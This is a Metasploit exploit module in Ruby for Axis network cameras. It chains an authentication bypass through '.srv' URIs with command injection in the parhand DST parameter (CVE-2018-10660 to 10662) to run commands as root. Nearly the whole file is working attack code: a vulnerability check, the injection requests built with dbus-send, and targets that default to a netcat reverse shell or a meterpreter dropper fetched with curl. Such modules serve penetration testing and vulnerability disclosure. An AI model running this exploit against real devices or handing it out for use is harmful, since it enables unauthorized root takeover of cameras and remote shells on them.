1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7

8
  Rank = ExcellentRanking
9

10
  include Msf::Exploit::Remote::HttpClient
11
  include Msf::Exploit::CmdStager
12

13
  def initialize(info = {})
14
    super(
15
      update_info(
16
        info,
17
        'Name' => 'Axis Network Camera .srv-to-parhand RCE',
18
        'Description' => %q{
19
          This module exploits an auth bypass in .srv functionality and a
20
          command injection in parhand to execute code as the root user.
21
        },
22
        'Author' => [
23
          'Or Peles',       # Vulnerability discovery (VDOO)
24
          'wvu',            # Metasploit module
25
          'sinn3r',         # Metasploit module
26
          'Brent Cook',     # Metasploit module
27
          'Jacob Robles',   # Metasploit module
28
          'Matthew Kienow', # Metasploit module
29
          'Shelby Pace',    # Metasploit module
30
          'Chris Lee',      # Metasploit module
31
          'Cale Black'      # Metasploit module
32
        ],
33
        'References' => [
34
          ['CVE', '2018-10660'],
35
          ['CVE', '2018-10661'],
36
          ['CVE', '2018-10662'],
37
          ['URL', 'https://blog.vdoo.com/2018/06/18/vdoo-discovers-significant-vulnerabilities-in-axis-cameras/'],
38
          ['URL', 'https://www.axis.com/files/faq/Advisory_ACV-128401.pdf']
39
        ],
40
        'DisclosureDate' => '2018-06-18',
41
        'License' => MSF_LICENSE,
42
        'Platform' => ['unix', 'linux'],
43
        'Arch' => [ARCH_CMD, ARCH_ARMLE],
44
        'Privileged' => true,
45
        'Targets' => [
46
          [
47
            'Unix In-Memory',
48
            'Platform' => 'unix',
49
            'Arch' => ARCH_CMD,
50
            'Type' => :unix_memory,
51
            'Payload' => {
52
              'BadChars' => ' ',
53
              'Encoder' => 'cmd/ifs',
54
              'Compat' => {
55
                'PayloadType' => 'cmd',
56
                'RequiredCmd' => 'netcat-e'
57
              }
58
            },
59
            'DefaultOptions' => {
60
              'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
61
            }
62
          ],
63
          [
64
            'Linux Dropper',
65
            'Platform' => 'linux',
66
            'Arch' => ARCH_ARMLE,
67
            'Type' => :linux_dropper,
68
            'DefaultOptions' => {
69
              'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
70
            }
71
          ]
72
        ],
73
        'DefaultTarget' => 1,
74
        'DefaultOptions' => { 'WfsDelay' => 10 },
75
        'Notes' => {
76
          'Reliability' => UNKNOWN_RELIABILITY,
77
          'Stability' => UNKNOWN_STABILITY,
78
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
79
        }
80
      )
81
    )
82
  end
83

84
  def check
85
    res = send_request_cgi(
86
      'method' => 'GET',
87
      'uri' => "/index.html/#{rand_srv}"
88
    )
89

90
    if res && res.code == 204
91
      return CheckCode::Appears
92
    end
93

94
    CheckCode::Safe
95
  end
96

97
  def exploit
98
    case target['Type']
99
    when :unix_memory
100
      execute_command(payload.encoded)
101
    when :linux_dropper
102
      execute_cmdstager(flavor: :curl, nospace: true)
103
    end
104
  end
105

106
  def execute_command(cmd, opts = {})
107
    send_request_cgi(
108
      'method' => 'POST',
109
      'uri' => "/index.html/#{rand_srv}",
110
      'vars_post' => {
111
        'action' => 'dbus',
112
        'args' => dbus_send(
113
          method: :set_param,
114
          param: "string:root.Time.DST.Enabled string:;(#{cmd})&"
115
        )
116
      }
117
    )
118

119
    send_request_cgi(
120
      'method' => 'POST',
121
      'uri' => "/index.html/#{rand_srv}",
122
      'vars_post' => {
123
        'action' => 'dbus',
124
        'args' => dbus_send(method: :synch_params)
125
      }
126
    )
127
  end
128

129
  def dbus_send(method:, param: nil)
130
    args = '--system --dest=com.axis.PolicyKitParhand ' \
131
           '--type=method_call /com/axis/PolicyKitParhand '
132

133
    args <<
134
      case method
135
      when :set_param
136
        "com.axis.PolicyKitParhand.SetParameter #{param}"
137
      when :synch_params
138
        'com.axis.PolicyKitParhand.SynchParameters'
139
      end
140

141
    args
142
  end
143

144
  def rand_srv
145
    "#{Rex::Text.rand_text_alphanumeric(8..42)}.srv"
146
  end
147

148
end
149

150